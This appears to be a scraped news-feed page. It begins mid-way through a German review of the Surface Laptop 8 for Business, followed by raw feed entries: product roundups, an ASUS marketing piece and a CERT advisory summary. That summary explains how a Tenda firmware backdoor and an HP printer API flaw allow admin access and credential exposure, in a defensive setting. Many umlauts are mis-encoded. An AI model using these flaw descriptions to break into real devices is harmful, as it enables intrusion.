Wenn Sie auf einen statischen Bildschirm schauen, sinkt die Bildwiederholfrequenz auf 24 Hertz – weniger als die herkömmlichen 60 Hertz. Das senkt den Stromverbrauch, ohne dass Sie es wirklich bemerken. Der Akku hĂ€lt entsprechend lĂ€nger durch.

Der Bildschirm wirkt allerdings etwas trĂŒb, und es gibt eine leichte Fleckenbildung, die durch den Sichtschutz verursacht wird. Dies sorgt dafĂŒr, dass die Auflösung niedriger wirkt, als sie tatsĂ€chlich ist. Mit einer Kamera lĂ€sst sich dieses Manko nicht wirklich einfangen. Vielleicht bin ich durch die neue Generation von OLED-Displays auch einfach zu verwöhnt. Doch aus meiner Sicht lĂ€sst dieser Bildschirm einfach zu viele WĂŒnsche offen.

Ton und Mikrofone

Microsofts Surface-GerĂ€te gehörten zu den ersten Laptops, die mit ihrer AudioqualitĂ€t ĂŒberzeugen konnten. Daran hat sich nichts geĂ€ndert. Die integrierten Omnisonic-Lautsprecher unterstĂŒtzen Dolby Atmos und bieten mehr LautstĂ€rke, als fĂŒr einen kleinen Raum nötig wĂ€re. Der Sound klang zwar etwas flacher, als ich ihn in Erinnerung hatte.

Dennoch benötigen Sie fĂŒr diesen Laptop nicht unbedingt Kopfhörer. Die AudioqualitĂ€t der verbauten Lautsprecher ist ĂŒber den gesamten Frequenzbereich hinweg recht gut.

Die beiden Studio-Mikrofone sorgen fĂŒr eine neue Funktion namens “Voice Focus“. Diese soll in bestimmten, aber nicht nĂ€her genannten Anwendungen unterstĂŒtzt werden. Der Algorithmus konzentriert sich dabei auf Ihre Stimme und nicht auf GerĂ€usche im Hintergrund. Um diese Funktion auszuprobieren, nahm ich meine Stimme mit der Windows-App “Sound Recorder” auf, wĂ€hrend ich im Hintergrund Musik und weißes Rauschen abspielte.

Beide HintergrundgerĂ€usche blieben noch etwas hörbar. Das weiße Rauschen wurde deutlich besser herausgefiltert als der Gesang im Hintergrund. Hier wusste die Software einfach nicht, ob sie die abgespielte Musik beibehalten oder ausblenden sollte. Die meisten neuen Asus-Laptops bieten eine noch bessere GerĂ€uschfilterung.

Tastatur und Touchpad

Die Tastatur gehörte einst auch zu den Aspekten, die ein Surface-GerÀt ausgezeichnet haben. Mittlerweile haben die anderen Hersteller jedoch aufgeholt. Mir sind dennoch keine MÀngel an der Tastatur des Surface Laptop 8 for Business aufgefallen. Sie ist nicht deutlich besser oder schlechter als andere gute Laptop-Tastaturen.

Surface Laptop 8

Mark Hachman / Foundry

Der neue Surface Laptop verfĂŒgt ĂŒber die haptischen Touchpads, die Microsoft vor einigen Jahren eingefĂŒhrt hat. Diese lassen sich ĂŒber die gesamte FlĂ€che anklicken. Dies ist im Vergleich zu herkömmlichen Touchpads ein echter Pluspunkt. Microsoft arbeitet zudem daran, ein subtiles haptisches Feedback auszulösen, wenn der Mauszeiger ĂŒber bestimmte Bildschirmelemente bewegt wird, wie das “X” zum Schließen eines Fensters. Der Effekt ist sehr unauffĂ€llig, aber dennoch ein nettes kleines Detail.

Das Touchpad lĂ€sst sich zudem ĂŒber die Surface-App anpassen. Diese war auf meinem TestgerĂ€t jedoch nicht vorinstalliert. Die App kann jedoch kostenlos aus dem Microsoft Store heruntergeladen werden. Mit der Software können Sie festlegen, welcher Bereich des Surface-Touchpads auf Rechts- und Linksklicks reagiert.

Webcam

Der Surface Laptop 8 for Business verfĂŒgt ĂŒber eine 1080p-Kamera, die die Windows Studio-Effekte wie HintergrundunschĂ€rfe, Bildausschnitt, Blickkontakt und mehr unterstĂŒtzt. Außerdem bietet sie die Gesichtserkennung, einen wesentlichen Bestandteil der Windows Hello-Technologie. WĂ€hrend des Testzeitraums hatte ich keinerlei Probleme mit der Anmeldung ĂŒber die Kamera.

Surface Laptop 8

Mark Hachman / Foundry

Da es sich um eine “Business”-Kamera handelt, erwartet man von der Webcam eine professionelle Darstellung unter verschiedenen LichtverhĂ€ltnissen. Und unter der hellen LED-Beleuchtung meines BĂŒros funktioniert dies auch gut.

Hier habe ich die Webcam sowohl im hellen Licht unseres BĂŒros als auch bei natĂŒrlicherer Beleuchtung in meiner Wohnung getestet.

Offen gestanden war ich von den Ergebnissen nicht sonderlich beeindruckt. Bei natĂŒrlicher Beleuchtung (der Himmel war an diesem Tag bewölkt) schnitt die Webcam recht gut ab, obwohl das Bild körniger war, als ich es erwartet hĂ€tte. Im BĂŒro wirkte das Bild der Kamera jedoch etwas blass.

Surface Laptop 8

Mark Hachman / Foundry

Leistung

Derzeit zĂ€hlt der Intel Core Ultra 300 (Panther Lake) zu den besten Premium-Laptop-Prozessoren, die Sie im Jahr 2026 kaufen können. Den kĂŒrzlich vorgestellten AMD Ryzen AI 400-Prozessor konnten wir noch nicht in einem marktreifen Laptop finden.

Bislang durften wir Panther Lake jedoch nur in grĂ¶ĂŸeren ProduktivitĂ€ts-Laptops mit ĂŒberlegenen KĂŒhlungslösungen wie dem Asus ZenBook Duo ausprobieren. Zum besseren VerstĂ€ndnis: LĂ€uft ein Laptop ĂŒber einen lĂ€ngeren Zeitraum unter hoher Last, kann sich die Performance durch Drosselung reduzieren. Auf diese Weise soll eine gefĂ€hrliche Überhitzung verhindert werden. Im Fall des Surface Laptop 8 ist dies ein Punkt, auf den Sie besonders achten sollten.

Der Cinebench-2024-CPU-Benchmark umfasst einen “Thermal-Throttling”-Test. Dabei wird der Benchmark wiederholt ĂŒber einen Zeitraum von zehn Minuten ausgefĂŒhrt. In diesem Szenario ist eine verminderte Leistung ein Hinweis auf thermische Drosselung. Sie können dann einen einzelnen Durchlauf mit dem Langzeittest vergleichen. So kann festgestellt werden, ob eine Drosselung auftritt. In unserem Fall sank die CPU-Leistung bei einem Vergleich von 773 auf 689 Punkte.

Mit dem 3DMark-Grafiktest lĂ€sst sich ebenfalls ein Langzeittest durchfĂŒhren – in diesem Fall zwanzig Benchmark-DurchlĂ€ufe – und die Leistung im Verlauf des Tests vergleichen. Hier war der Unterschied noch grĂ¶ĂŸer.

Der Benchmark erzielte beim ersten Durchlauf die höchste Punktzahl, fiel dann bei den nachfolgenden DurchlÀufen auf etwa die HÀlfte der Leistung ab und verblieb wÀhrend der folgenden TestlÀufe auf diesem Niveau.

Was sagt uns das? In gewisser Weise sind Leistungswerte oft irrefĂŒhrend. Der Surface Laptop 8 funktioniert am zuverlĂ€ssigsten in kurzen, intensiven Phasen, zumindest was das Gaming betrifft.

FĂŒr lĂ€ngere Sitzungen ist das GerĂ€t weniger gut geeignet. Andererseits scheint die KĂŒhlung fĂŒr CPU-intensive Aufgaben auszureichen. Zu diesen Aufgaben zĂ€hlen unter anderem das Betriebssystem, das Komprimieren und Dekomprimieren von Dateien sowie allgemeine Anwendungen ohne viele visuelle Elemente. Beachten Sie, dass wir zwar die NPU-FĂ€higkeiten des Laptops nicht testen, er sich mit seinen 50 TOPS jedoch als Copilot-PC qualifiziert.

Ich habe den Surface Laptop 8 for Business mit mehreren 14-Zoll-Laptops der jĂŒngsten Generation verglichen: dem Acer Swift X 14 AI und dem verwandten Modell Acer Swift Edge 14 AI.

Hinzu kamen zwei Panther-Lake-Laptops: der Dell XPS 14 und der MSI Prestige Flip 14 AI. Schließlich habe ich noch zwei Snapdragon-Laptops hinzugefĂŒgt: den Surface Laptop 7 (2024) mit einem Snapdragon X1 Elite-Chip der ersten Generation sowie den Lenovo Yoga Slim 7x Gen 11, der mit einem Snapdragon X2 Elite Extreme-Chip der zweiten Generation ausgestattet ist.

Surface Laptop 8

Mark Hachman / Foundry

Der PCMark-10-Test deckt ein breites Spektrum ab, das von Videoanrufen ĂŒber das Surfen im Internet hin zu CAD-Anwendungen und einigen weniger anspruchsvollen Spielen reicht.

Aufgrund der Vielfalt der getesteten Anwendungen ist dieser Benchmark nach wie vor relevant. Der Surface Laptop profitiert ein wenig von seiner leistungsstarken integrierten GPU, obwohl es sich hierbei in erster Linie um CPU-orientierte Tests handelt.

FĂŒr andere Tests, die sich nicht mit PCMark messen lassen, verwenden wir stattdessen Cinebench 2024. Obwohl es eine Version fĂŒr 2026 gibt, nutzen wir aus KompatibilitĂ€tsgrĂŒnden weiterhin Cinebench 2024. Auch hier gilt: Panther Lake ist eine leistungsstarke CPU, die bei kurzer Spitzenlast eine hohe Leistung bietet.

Surface Laptop 8

Mark Hachman / Foundry

Dieser ausgedehnte Cinebench-Stresstest verdeutlicht jedoch, dass Sie bei lĂ€ngerer Nutzung mit einer geringeren CPU-Leistung rechnen mĂŒssen.

Handbrake war ursprĂŒnglich der Test, mit dem wir bewerteten, wie gut sich der Laptop und sein Prozessor ĂŒber einen lĂ€ngeren Zeitraum behaupten können. Die App selbst ist nĂŒtzlich, auch wenn sie schon Ă€lter ist.

Sie transkodiert lediglich eine Videodatei in ein Format, das fĂŒr die Speicherung auf einem Tablet verwendet wird. Angesichts der Verbreitung von Streaming-Apps findet diese Transkodierung mittlerweile meist im Hintergrund statt. Dennoch ist sie ein wirksames Maß fĂŒr die dauerhafte CPU-Leistung.

Surface Laptop 8

Mark Hachman / Foundry

Unser traditioneller Maßstab fĂŒr die 3D-Leistung ist der “Time Spy”-Benchmark von 3DMark. Dieser misst die 3D-Leistung auf eine Weise, die ein echtes 3D-Spiel simuliert. Auch hier wĂŒrde ich erwarten, dass der Surface Laptop recht gut abschneidet – und das tut er auch.

Allerdings sind mir bei den von diesem Laptop gemeldeten Ergebnissen einige ĂŒbermĂ€ĂŸige Schwankungen aufgefallen. Nach einem Kaltstart stiegen die Benchmark-Ergebnisse auf einen Höchstwert von 7.063. Im niedrigsten Fall sank das Ergebnis auf 4.601. Nach jedem Durchlauf ließ ich den Laptop zehn Minuten lang abkĂŒhlen.

Bei diesem GerĂ€t zeigen die Ergebnisse jedoch einen deutlichen Unterschied zwischen der DurchfĂŒhrung des Benchmarks zu Beginn des Tages und der DurchfĂŒhrung nach einer AbkĂŒhlphase von zehn Minuten im Anschluss an eine Reihe anderer Benchmarks. Dies ist ein ungewöhnliches Verhalten und ein echter Minuspunkt. Ich gehe einfach immer davon aus, dass ein hochwertiger Laptop eine konstante Leistung abliefern kann.

Surface Laptop 8

Mark Hachman / Foundry

Da es sich beim Surface Laptop 8 um ein ProduktivitÀtsgerÀt handelt, habe ich ihn im Hinblick auf Gaming nicht ausgiebig getestet. Allerdings machen Intels XeSS-Upscaling und die Frame-Generierung einen enormen Unterschied.

“Cyberpunk: 2077”, getestet bei einer Auflösung von 1.920 × 1.080 Pixeln und der Einstellung „Low“, erzielte mit der reinen Render-Engine des Spiels eine durchschnittliche Bildrate von 50 Bildern pro Sekunde. Das ist ein schon relativ gut spielbares Ergebnis. Mit aktivierten Zusatzfunktionen stieg die Bildrate jedoch auf 133 Bilder pro Sekunde – was mehr als spielbar ist.

Bitte beachten Sie, dass der Benchmark nur etwa eine Minute lang lĂ€uft. Daher ist bei lĂ€ngerem Spielen mit einem RĂŒckgang der Bildrate zu rechnen.

Bei einem ProduktivitĂ€ts-Laptop lege ich Wert auf außergewöhnliche Leistung. Aber die Akkulaufzeit ist ebenso wichtig. Einige der ersten Panther-Lake-Laptops, die ich getestet habe, verfĂŒgten ĂŒber riesige 99-Wattstunden-Akkus – das zulĂ€ssige Maximum in Flugzeugen.

Um das Gewicht gering zu halten, lieferte Microsoft den Surface Laptop 8 for Business mit einem 52-Wattstunden-Akku aus. Das wirkt sich natĂŒrlich auf die Akkulaufzeit aus, wenn auch nicht dramatisch. Es macht mir keine Sorgen, dass ich fĂŒr eine Akkulaufzeit von 17,3 Stunden etwas weniger Gewicht mit mir herumschleppen muss. Bei produktiver Arbeit könnte die Laufzeit aber etwas niedriger ausfallen als in unseren Tests.

Surface Laptop 8

Mark Hachman / Foundry

Preis und VerfĂŒgbarkeit

Zum Zeitpunkt der Veröffentlichung ist der Surface Laptop 8 for Business nur bei Microsoft selbst und wenigen anderen HĂ€ndlern erhĂ€ltlich. Der Einstiegspreis fĂŒr das 13,8-Zoll-Modell liegt beim Hersteller bei 2.119 Euro. DafĂŒr gibt es 16 Gigabyte RAM und 256 Gigabyte Speicherplatz. Mit 512-Gigabyte-SSD klettert der Preis auf 2.239 Euro.

Optional ist fĂŒr ausgewĂ€hlte 13,8-Zoll-Konfigurationen der integrierte Privacy Screen erhĂ€ltlich. Ob diese Variante in Deutschland verfĂŒgbar ist, geht aus dem Microsoft Store derzeit nicht eindeutig hervor. Als Option steht der Blickschutz bei der Konfiguration noch nicht zur VerfĂŒgung.

Fazit

WĂŒrde man den Preis um etwa 1.000 Euro senken, dann ließe sich der Kauf des aktuellen Surface Laptop 8 for Business eher rechtfertigen. So ist dieser Laptop aber einfach viel zu teuer, um ihn zu empfehlen – selbst fĂŒr die geschĂ€ftliche Nutzung.

Es ist erwĂ€hnenswert, dass die Laptops, mit denen wir den Surface Laptop primĂ€r vergleichen, auch erst kĂŒrzlich ausgeliefert wurden. Dadurch sind auch diese GerĂ€te ebenfalls von den Kostensteigerungen bei Arbeitsspeicher und SSD-Speicher betroffen.

Bietet der Surface Laptop ansonsten etwas Überzeugendes? Abgesehen vom Blickschutzbildschirm eigentlich nicht wirklich. Was Leistung und Akkulaufzeit angeht, so gibt es viele Laptops, die diese Werte bei deutlich geringeren Anschaffungskosten sogar ĂŒbertreffen.

TatsĂ€chlich wirkt diese Generation der Surface-Laptops etwas unentschlossen. Privatkunden wĂŒrden wahrscheinlich eine etwas leistungsstĂ€rkere Grafikeinheit fĂŒr Spiele bevorzugen, wĂ€hrend GeschĂ€ftsreisende eher auf eine starke CPU-Leistung Wert legen dĂŒrften. Das werden wir wahrscheinlich beim kommenden Surface Laptop fĂŒr Privatkunden sehen, der vermutlich mit einem Qualcomm Snapdragon X2 Elite-Chip ausgestattet sein wird. Die Akkulaufzeit dĂŒrfte in etwa gleich bleiben.

Ich habe das GefĂŒhl, dass ich bereits ausreichend Worte ĂŒber diesen Laptop verloren habe. Er ist ĂŒberteuert. Kaufen Sie ihn nicht.

Technische Daten

  • Prozessor: Core Ultra 5 335, Core Ultra 7 366H, Core Ultra X7 368H (getestet: 368H)
  • Display: 13,8 Zoll (2.304 × 1.536 Pixel) PixelSense Flow, 24–120 Hertz, Dolby Vision, entspiegelt nach ISO-9241 oder blendfrei mit integriertem Blickschutz (getestet)
  • Arbeitsspeicher: 16 Gigabyte/32 Gigabyte/64 Gigabyte LPDDR5X (getestet: 16 Gigabyte)
  • Speicher: 256 Gigabyte/512 Gigabyte/1 Terabyte PCIe Gen 4 M.2 NVMe SSD (getestet: 512 Gigabyte)
  • Grafikkarte: Iris Arc B390
  • NPU: 50 TOPS
  • AnschlĂŒsse: 2 × USB-C/Thunderbolt 4, USB-A, 3,5-Millimeter-Kopfhöreranschluss, Surface Connect-Anschluss
  • Sicherheit: Windows Hello-Kamera
  • Kamera: 1080p (zum Benutzer gerichtet, Windows Hello)
  • Akku: NennkapazitĂ€t: 52,3 Wattstunden, tatsĂ€chliche KapazitĂ€t laut Test: 54,1 Wattstunden
  • Drahtlos: Wi-Fi 7, Bluetooth Core 5.4
  • Audio: Zwei Studio-Mikrofone, Omnisonic-Lautsprecher mit Dolby Atmos
  • Betriebssystem: Windows 11 Pro
  • Abmessungen: 301 Millimeter x 220 Millimeter x 17,5 Millimeter
  • Gewicht: 1,35 Kilogramm
  • Farben: Platin und Mattschwarz
  • Preise: ab 2.119 Euro (Testmodell: 2.239 Euro)

(PC-Welt)

]]> <![CDATA[Top 10 Best Unified Threat Management (UTM) Solutions in 2026]]> https://tsecurity.de/de/3660617/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/ https://tsecurity.de/de/3660617/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/ Fri, 10 Jul 2026 20:35:45 +0200 📰 IT Security Nachrichten tsecurity.de If you need one appliance that handles firewalling, intrusion prevention, VPN, antivirus, and web filtering without a security team to run it, Fortinet FortiGate is our top UTM pick for 2026, with Sophos Firewall the strongest choice when you also


Read more →

The post Top 10 Best Unified Threat Management (UTM) Solutions in 2026 appeared first on IT Security News.

]]> <![CDATA[Our expert praised Creality's K2 Plus 3D printer after his workshop tests — and it's just got a massive summer discount]]> https://tsecurity.de/de/3660442/it-nachrichten/our-expert-praised-crealitys-k2-plus-3d-printer-after-his-workshop-tests-and-its-just-got-a-massive-summer-discount/ https://tsecurity.de/de/3660442/it-nachrichten/our-expert-praised-crealitys-k2-plus-3d-printer-after-his-workshop-tests-and-its-just-got-a-massive-summer-discount/ Fri, 10 Jul 2026 19:04:00 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Top 10 Best Unified Threat Management (UTM) Solutions in 2026]]> https://tsecurity.de/de/3660223/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/ https://tsecurity.de/de/3660223/it-security-nachrichten/top-10-best-unified-threat-management-utm-solutions-in-2026/ Fri, 10 Jul 2026 17:40:31 +0200 📰 IT Security Nachrichten tsecurity.de If you need one appliance that handles firewalling, intrusion prevention, VPN, antivirus, and web filtering without a security team to run it, Fortinet FortiGate is our top UTM pick for 2026, with Sophos Firewall the strongest choice when you also run Sophos endpoints. Unified threat management (UTM) consolidates multiple network security functions into a single [
]

The post Top 10 Best Unified Threat Management (UTM) Solutions in 2026 appeared first on Cyber Security News.

]]> <![CDATA[I Cook in My Air Fryer Every Day. Here Are the 10 Times It Let Me Down]]> https://tsecurity.de/de/3660057/it-nachrichten/i-cook-in-my-air-fryer-every-day-here-are-the-10-times-it-let-me-down/ https://tsecurity.de/de/3660057/it-nachrichten/i-cook-in-my-air-fryer-every-day-here-are-the-10-times-it-let-me-down/ Fri, 10 Jul 2026 16:48:15 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[USN-8530-1: Linux kernel (AWS) vulnerabilities]]> https://tsecurity.de/de/3659406/unix-server/usn-8530-1-linux-kernel-aws-vulnerabilities/ https://tsecurity.de/de/3659406/unix-server/usn-8530-1-linux-kernel-aws-vulnerabilities/ Fri, 10 Jul 2026 12:31:14 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8529-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3659370/unix-server/usn-8529-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3659370/unix-server/usn-8529-1-linux-kernel-vulnerabilities/ Fri, 10 Jul 2026 12:16:29 +0200 🐧 Unix Server tsecurity.de <![CDATA[[NEU] [UNGEPATCHT] [mittel] Kyocera Printer: Schwachstelle ermöglicht Offenlegung von Informationen]]> https://tsecurity.de/de/3659314/it-security-nachrichten/neu-ungepatcht-mittel-kyocera-printer-schwachstelle-ermoeglicht-offenlegung-von-informationen/ https://tsecurity.de/de/3659314/it-security-nachrichten/neu-ungepatcht-mittel-kyocera-printer-schwachstelle-ermoeglicht-offenlegung-von-informationen/ Fri, 10 Jul 2026 11:53:26 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Big Tech is Acting Kind of Dodgy At the Moment]]> https://tsecurity.de/de/3659050/videos/big-tech-is-acting-kind-of-dodgy-at-the-moment/ https://tsecurity.de/de/3659050/videos/big-tech-is-acting-kind-of-dodgy-at-the-moment/ Fri, 10 Jul 2026 10:02:41 +0200 đŸŽ„ Videos tsecurity.de Author: ColdFusion - Bewertung: 100x - Views:1144

Visit https://brilliant.org/coldfusion to try Brilliant’s tutor for free and get a 20% off an annual subscription.

For the longest time, big tech was seen as the perpetual money printer but now things have changed. The AI frenzy has drained free cash flow and driven these companies to employ interesting accounting practices.

Watch or listen to ColdFusion on Spotify: https://open.spotify.com/show/1YEwCKoRz8fEDqheXB6UJ1

Additional music by Loxe:
https://www.instagram.com/loxetheproducer/?hl=en
https://open.spotify.com/artist/4Jb1EAbXK4BpbQopoeMWKT

ColdFusion Music:

https://www.youtube.com/@coldfusionmusic
http://burnwater.bandcamp.com

ColdFusion Socials:

https://discord.gg/coldfusion
https://facebook.com/ColdFusionTV
https://twitter.com/ColdFusion_TV
https://instagram.com/coldfusiontv

Created by: Dagogo Altraide
Producers: Tawsif Akkas, Dagogo Altraide

]]> <![CDATA[AI’s real bottleneck isn’t compute. It’s distance.]]> https://tsecurity.de/de/3657618/it-nachrichten/ais-real-bottleneck-isnt-compute-its-distance/ https://tsecurity.de/de/3657618/it-nachrichten/ais-real-bottleneck-isnt-compute-its-distance/ Thu, 09 Jul 2026 18:02:41 +0200 📰 IT Nachrichten tsecurity.de

A researcher has an idea worth testing before lunch. The model is ready. The data is sitting right there. But the data is sensitive — regulated, proprietary; the kind that legal has been very clear cannot leave the building. So it can’t go to the cloud cluster. And even if it could, the GPU queue is hours deep, the meter is running, and by the time the run finishes and the bill lands, the spark of the idea has cooled into a ticket in a backlog. 

This is the unglamorous reality behind a lot of enterprise AI. Not a shortage of talent or ambition, but friction — the quiet tax paid every time a brilliant question has totravel a long way to find the computer that can answer it. We’ve spent the better part of a decade assuming that distance didn’t matter, that everything important would happen in some vast facility hundreds of miles away. For a whole class of work, that assumption is now the thing holding teams back. 

The last mile of AI 

Cloud and hyperscale data centers did something extraordinary: they made a near-infinite compute available to anyone with a credit card. That scale is genuinely irreplaceable for training frontier models. But scale solved the wrong problem for a surprising number of teams. 

Because a lot of real AI work isn’t a once-a-quarter mega run, it’s iteration — fine-tuning, experimenting, debugging, testing an agent’s behavior, running a model against data that’s too sensitive or too large to keep shipping back and forth. That work rewards immediacy and control, not raw scale. And on those two axes, the cloud-only model starts to strain in three ways. 

Governance is the first. The most valuable enterprise data is often the data that’s hardest to move — patient records, financial details, proprietary source code, designs under NDA. Sending it to a shared, off-premises environment can mean a compliance review, a risk sign-off, or simply a “no.” When the data can’t travel, neither can the AI work that depends on it — unless the compute comes to the data instead. 

Velocity is the second. AI progress is a function of how many experiments a team can run per week. Every cloud queue, every cold start, every round trip between a workstation and a remote cluster adds latency not just to a job but to learning. The teams that win aren’t the ones with the biggest single run; they’re the ones who can iterate fastest, privately, without asking permission. 

And then there’s the missing middle. Until recently, professionals had two options, and a chasm between them. On one side, a traditional workstation — convenient and local, but utterly unable to hold a trillion-parameter model in memory. On the other, a data center you don’t own, don’t control, and have to wait in line for. There was nothing in between: no way to put genuine, data-center-class AI power directly under the desk of the person doing the work. 

That gap is exactly where the next wave of productivity is hiding. 

When the supercomputer comes back to the desk 

Computing has always swung between the central and the personal. The mainframe gave way to the PC. Now, after a decade of centralizing intelligence in the cloud, the pendulum is swinging again — and the supercomputer is coming back to the desk, this time built specifically for AI. 

The implications for IT leaders are strategic, not just technical. A local, private AI supercomputer means sensitive workloads stay under the organization’s own governance. It means a predictable cost instead of a variable cloud meter. It means teams iterate at the speed of their own curiosity. And it means the data center is still there when a workload genuinely needs to scale — connected, not replaced. The goal isn’t to abandon the cloud. It’s to close the last mile. 

The deskside AI supercomputer: ASUS ExpertCenter Pro ET900N G3 

This is the gap the ASUS ExpertCenter Pro ET900N G3 is engineered to close. Built on NVIDIA DGX Station architecture and powered by the NVIDIA GB300 Grace Blackwell Ultra Desktop Superchip, it brings data-center-class AI to a system that fits on a standard desk — a deskside AI supercomputer purpose-built for the way AI teams actually work. 

What that delivers, mapped to the friction it removes: 

  • Run the big models locally. With 748GB of coherent unified memory and up to 20 PFLOPS of AI performance, the ET900N G3 can develop and run trillion-parameter models and autonomous AI agents right at the deskside — far beyond the reach of a conventional workstation, and without a trip to a shared cluster. 
  • Keep sensitive work private. Because the compute lives where the team and the data do, sensitive and regulated workloads can stay on-premises under the organization’s own governance. Full compatibility with NVIDIA AI Enterprise and NVIDIA NemoClaw enables enterprises to build and run always-on AI assistants and agents within a secure, local environment. 
  • Iterate without waiting. A 72-core NVIDIA Grace CPU paired with an NVIDIA Blackwell Ultra GPU over high-bandwidth NVLink-C2C interconnect puts supercomputer-class iteration at a developer’s fingertips — no queue, no cold start, no round-trip. 
  • Scale out when you need to. An integrated NVIDIA ConnectX-8 SuperNIC provides up to 800 Gbps of networking, so the deskside system bridges cleanly to data center infrastructure when a workload outgrows the desk. 
  • Run it around the clock. Data-center-grade thermal design built for sustained 24/7 operation means the system maintains peak performance through long training and inference runs rather than throttling when the work gets serious. 

And it runs the NVIDIA AI software stack out of the box, giving development teams a turnkey environment for training, fine-tuning, inference, and agentic AI from day one. 

The question worth asking now 

For years, the strategic question in AI infrastructure was how big a cluster can we reach. For a growing share of the work that actually moves a business forward, the better question is: how close can we put the power in the hands of the people doing the work? 

The idea was never the bottleneck. The distance was. Closing it is the next advantage. 

Discover how the ASUS ExpertCenter Pro ET900N G3 brings data-center-class AI to the deskside. Visit us here to learn more.  

]]> <![CDATA[openSUSE & grommunio - The Exchange alternative (osc26)]]> https://tsecurity.de/de/3656863/it-security-video/opensuse-grommunio-the-exchange-alternative-osc26/ https://tsecurity.de/de/3656863/it-security-video/opensuse-grommunio-the-exchange-alternative-osc26/ Thu, 09 Jul 2026 13:33:18 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[iPhone 18 Pro Max Could Be Thicker and Heavier Due to Bigger Battery]]> https://tsecurity.de/de/3656791/ios-mac-os/iphone-18-pro-max-could-be-thicker-and-heavier-due-to-bigger-battery/ https://tsecurity.de/de/3656791/ios-mac-os/iphone-18-pro-max-could-be-thicker-and-heavier-due-to-bigger-battery/ Thu, 09 Jul 2026 13:09:33 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[CERT Warns of Unpatched Tenda Firmware Backdoor Allowing Admin Access]]> https://tsecurity.de/de/3656250/it-security-nachrichten/cert-warns-of-unpatched-tenda-firmware-backdoor-allowing-admin-access/ https://tsecurity.de/de/3656250/it-security-nachrichten/cert-warns-of-unpatched-tenda-firmware-backdoor-allowing-admin-access/ Thu, 09 Jul 2026 09:22:40 +0200 📰 IT Security Nachrichten tsecurity.de CVE-2026-11405

The CERT Coordination Center (CERT/CC) has disclosed a critical security issue affecting multiple Tenda networking devices. Tracked as CVE-2026-11405, the vulnerability stems from an undocumented backdoor in Tenda firmware that allows unauthenticated attackers to gain administrative access to a device’s web management interface. The flaw remains unpatched, prompting CERT to recommend immediate mitigation measures for affected users.  According to CERT, the vulnerability impacts multiple Tenda routers, switches, and other networking products. Security researchers discovered the issue within the login function of the device’s web server binary, where the authentication process contains logic that can be exploited to bypass normal login requirements. 

CVE-2026-11405 Backdoor Enables Authentication Bypass 

The CERT advisory explains that the authentication mechanism behaves unexpectedly after a failed login attempt. Instead of rejecting the request, the firmware retrieves a password stored in the device’s configuration.  It then compares only the password supplied by the user against the stored plaintext password. If the passwords match, the system grants administrator-level access without verifying the username.  “The associated username is not validated, so any provided username will succeed when paired with the backdoor password. This backdoor authentication mechanism is not documented or visible through any administrative interface,” CERT/CC explained.  Because of this behavior, CVE-2026-11405 allows attackers to bypass authentication entirely if they know or obtain the configured password. 

CERT Recommends Mitigations as No Patch Is Available 

Successful exploitation of CVE-2026-11405 could enable attackers to modify device configurations, change network settings, and disable security features. CERT warns that these capabilities could ultimately result in the compromise of a local network. The organization also stated that it was unable to coordinate disclosure of the vulnerability with Tenda, and no security update has been released to address the flaw. Until a patch becomes available, CERT advises users to disable remote web management to block unauthorized external access. It also recommends changing the default LAN IP address to reduce the likelihood of devices being identified by automated scanning tools.

CERT Also Discloses Unpatched HP Printer Flaw 

On Tuesday, CERT/CC disclosed another unpatched vulnerability affecting HP DeskJet 2800 series printers running firmware versions up to TBP1CN2612AR. The issue, tracked as CVE-2026-13753, is a missing authorization flaw that exposes sensitive administrative information. According to CERT, attackers can send unauthenticated GET requests to multiple backend API endpoints, which return administrator configuration data without validating authentication or session state. The exposed information includes the Wi-Fi Direct SSID, plaintext passphrase, unique printer serial numbers, service IDs, and administrative password state details. CERT/CC summarized the risk, stating, “This vulnerability allows unauthenticated access to the printer’s webserver API endpoints, exposing Wi-Fi credentials, management configuration details, and sensitive security data normally restricted to administrative users.”]]> <![CDATA[nubia Neo 5 GT Special Edition debuts with the first and only Liquid and Air Dual Active Cooling System in its class]]> https://tsecurity.de/de/3655968/it-nachrichten/nubia-neo-5-gt-special-edition-debuts-with-the-first-and-only-liquid-and-air-dual-active-cooling-system-in-its-class/ https://tsecurity.de/de/3655968/it-nachrichten/nubia-neo-5-gt-special-edition-debuts-with-the-first-and-only-liquid-and-air-dual-active-cooling-system-in-its-class/ Thu, 09 Jul 2026 06:47:19 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[openSUSE & grommunio - The Exchange alternative (osc26)]]> https://tsecurity.de/de/3654810/it-security-video/opensuse-grommunio-the-exchange-alternative-osc26/ https://tsecurity.de/de/3654810/it-security-video/opensuse-grommunio-the-exchange-alternative-osc26/ Wed, 08 Jul 2026 17:36:19 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Best Next-Generation Firewall (NGFW) Solutions Compared (2026): Features & Pricing ]]> https://tsecurity.de/de/3654758/it-security-nachrichten/best-next-generation-firewall-ngfw-solutions-compared-2026-features-pricing/ https://tsecurity.de/de/3654758/it-security-nachrichten/best-next-generation-firewall-ngfw-solutions-compared-2026-features-pricing/ Wed, 08 Jul 2026 17:23:46 +0200 📰 IT Security Nachrichten tsecurity.de Twelve firewalls, one question: which NGFW earns a place at your network edge in 2026? For most enterprises the shortlist starts with Fortinet FortiGate (best price-performance) and Palo Alto Networks (deepest application control), but the right answer shifts with your size, region, and cloud strategy — and one of the twelve vendors here isn’t an appliance at all. A [
]

The post Best Next-Generation Firewall (NGFW) Solutions Compared (2026): Features & Pricing  appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

